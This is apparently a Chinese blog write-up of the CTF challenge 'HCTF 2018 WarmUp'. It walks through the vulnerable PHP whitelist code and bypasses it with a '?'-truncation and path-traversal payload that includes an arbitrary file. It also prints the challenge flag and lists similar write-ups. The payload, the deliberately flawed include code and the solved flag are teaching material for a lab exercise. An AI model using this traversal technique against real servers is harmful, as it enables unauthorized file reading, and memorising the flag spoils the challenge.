[HCTF 2018]WarmUp 1

已于 2022-07-20 09:52:14 修改
阅读量310 收藏
点赞数
文章标签： web
于 2022-07-01 13:55:04 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_43618536/article/details/125556812
版权

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档

[HCTF 2018]WarmUp 1

题目

BUUCTF的[HCTF 2018]WarmUp 1
在这里插入图片描述

一、做题步骤

1.查看源代码

代码如下：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->   #这里提示有一个source.php
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

2.进入source.php页面

代码如下：

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];  
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

这串代码提示：
1.source.php和hint.php在白名单
2.mb_strpos($_page . ‘?’, ‘?’)
mb_strpos()函数返回查找到字符串的首次出现的位置，因此构造 ?hint.php?
3. include $_REQUEST[‘file’];
请求的是file，因此构造?file=hint.php?

3.进入hint.php页面

得到提示 flag 在 ffffllllaaaagggg 里
网页的路径一般在/var/www/html/xxx.php
因此构造路径：…/…/…/…/ffffllllaaaagggg 但是失败了，猜测是返回的上一级不够，多加几个…/ (两个点加斜杠）
在这里插入图片描述

4.构造payload

payload:

 http://b7559c5a-c34f-4ad9-88f7-d2136d74e186.node4.buuoj.cn:81/source.php?file=hint.php?../../../../../ffffllllaaaagggg

得到flag
flag{2caaa7f0-3589-48ef-9459-369aba779b9c}
在这里插入图片描述

林本
关注
HCTF2018 WarmUp
BlueDoorZz的博客
07-11 553
BUU第一题，老实说第一次做的时候手足无措。 0x01 题目类型：php代码审计，文件包含。 0x02 点开链接，开门见山就是一个大大的滑稽。 查看源代码，注释中提醒有source.php文件。访问source.php，看到源码。 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) {
[HCTF 2018]WarmUp1
qq_48008847的博客
07-16 573
题目打开如上，常规思路先F12看一下网页源码 看到有一个被注释掉的source.php 看一下这是个什么东东 发现是一串代码，下面来审计一下这段代码 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { //白名单列表 $whitelist = ["source"=&g...
HCTF 2018-warmup
m0_73303597的博客
12-07 444
自用
[HCTF 2018]WarmUp
shdbehdvd的博客
09-25 584
buuctf-[HCTF 2018]WarmUp1(小宇特详解)_[hctf 2018]warmup 1-CSDN博客。不过有个说， "ffffllllaaaagggg"这是给你的暗示，这是在某某 某某级下的什么什么......有一个.PHP （只有这一个内容，这提示的很明显了，我个小白都知道。借哥们儿的分析，去引导我自己的分析思路：(尽管应该不是很对。分析如下：（小白的大致猜测，不懂就看看大佬wp。若func($page） 等于file时。然后，wp大佬说，什么我也不太理解。这不就我们刚才的界面么。
【HCTF 2018】WarmUp
Lixunzhe0112的博客
01-17 1528
原理如下：在我们将参数传给file时，服务器端会自动进行一次url解码，然后这里还有个urldecode再进行一次解码。_REQUEST[‘file’])&& emmm::checkFile($_REQUEST[‘file’]三个条件同时为真，才会包含我们传入的file。/flag.php’)和include(‘…所以：/var/www/flag.php 和…/var/www/flag.php是一个文件，上层没有了。说明flag.php在 /var/html类似目录中，只有两层，var为最上层了。
HCTF 2018]WarmUp 1
zip471642048的博客
04-16 209
HCTF 2018]WarmUp 1 创建环境访问进去发现一个滑稽的表情 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3C9iOhON-1618558954585)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20210416135508475.png)] 我们查看源码在注释部分发现source.php 接下来我们访问source.php，发现源代码 <?php
BMZCTF hctf_2018_warmup 1
qq_24033605的博客
04-07 211
hctf_2018_warmup 1 一进去一个诡异的”日常“笑脸。 （现在看到这个笑脸就感觉出题人没干好事） 基操：查看源代码，发现有个source.php，进去看看是怎么回事吧。 好家伙，代码审计题呗。 大概就是列了个白名单，通过file注入点，先看看hint.php里藏了什么。 告诉咱flag的路径在哪了。接下来只要构建出符合checkFile的函数的payload就行了。 从函数来看需要绕过两次白名单认证，就能得到flag值。 payload如下：source.php?file=hint.p
BUUCTF[HCTF 2018]WarmUp 1
最新发布
10-21
保姆级教学,一看就会
BUUOJ [HCTF 2018]WarmUp
qq_43622442的博客
04-11 761
BUUOJ [HCTF 2018]WarmUp 第一次参加ctf，这次头铁的报名了网鼎，hhh，不能给队伍拖后腿了，还是刷刷题。 从buuoj一题一题开始刷，第一题WarmUp。 1.打开网站,发现只有一个滑稽： 2.因为是做的web题，不太可能是隐写，F12看看源码： 3.看到这个source.php没有？访问一下看看： 4.也就是代码审计了，不过这个咋和phpmyadmin的文件包含漏...
BUUCTF__[HCTF 2018]WarmUp_题解
风过江南乱的博客
04-24 1570
第一次写题解，以此来做一个学习记录。 首先拿到题目，打开看到一张滑稽 F12查看源代码，获知source.php，并访问，发现是一段php代码，进行代码审计 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) ...
WEB_HCTF_2018_WarmUp
Pz_mstr's Blog
03-06 777
Categories web-代码审计 write up source code get source code http://eb22847d-9f8a-4ecf-b972-5ecebfcf5faf.node3.buuoj.cn/source.php <?php highlight_file(__FILE__); class emmm { publi...
HCTF 2018 Warm up
qq_53689523的博客
02-06 208
所以，可以知道flag在ffffllllaaaagggg中，接下来，我们分析source.php文件，我们看到其设置了白名单(source.php和hint.php),如果不在白名单内，直接返回False,根本就不会执行文件查询语句，所以只有构造url,绕过source.php，才可以访问到ffffllllaaaagggg文件。看到源代码里提示一个source.php文件，所以我们猜测，要么是加载过来一个php文件（可是F12以后，没有发现），要么就是当前目录下有个source.php。
web：[HCTF 2018]WarmUp
sleepywin的博客
09-21 342
根据提示信息，进行目录穿越可获得flag，这里flag写了四次，可能使用四个或五个../跳转至该页面，页面显示为一段php代码，需要进行代码审计。查看网页源代码，发现source.php，尝试访问一下。点进页面，页面只有一张滑稽脸，没有其他的提示信息。先访问hint.php看看有没有别的提示信息。
BUU HCTF2018 WarmUP
yingyugo的博客
11-24 1229
开始BUUCTF受虐的第一天，好的，首先打开第一题，映入眼帘的就是这偌大的笑脸 然后ctrl+u出来源码看看 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-U
Buuctf web [HCTF 2018]WarmUp 1
weixin_47174945的博客
11-04 1342
1.首先打开是一个笑脸通过ctrl+u就会看到一个的注释 2.通过soure.php 观察源码发现hint.php，打开发现flag not here, and flag in ffffllllaaaagggg，观察到如果满足相应的条件，最后是include引入文件，所以这个信息很有用。我们只需使emmm::checkFile($_REQUEST[‘file’]返回值为true，利用…/跳转目录读取flag即可 观察checkFile函数，几个if语句并列，只要我们满足其中一个true,即有返回值，便不
web-[HCTF 2018]WarmUp
wojiushilsy的博客
04-03 284
ad
HCTF2018-warmup-writeup
wuerror的博客
01-22 3465
这个题目原型是phpmyadmin4.8.1的任意文件包含漏洞  点击hint进入，得到提示flag在ffffllllaaaagggg中，并发现URL格式为XXX/index.php?file=hint.php,顺势猜一下file=source.php有没有结果。得到如下 &lt;?php class emmm { public static functi...
第一题——[HCTF 2018]WarmUp
分享简单的安全技术
03-31 610
题目地址：https://buuoj.cn/challenges 解题思路 第一步：进入题目，迎面而来的是一张滑稽图片，按f12查看，发现提示：source.php 第二步：在URL一栏输入访问提示给出的php页面 http://c0717382-8c47-4aa3-b308-1972e1173f7a.node3.buuoj.cn/source.php 第三步：查看source.php页面给出的提示 <?php highlight_file(__FILE__); class emm
[HCTF 2018] WarmUp
Knsec
05-13 2321
[HCTF 2018] WarmUp 开局一张图，先看看页面源码信息 给出了一个 source.php 应该是后端的源码，这题代码审计了 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值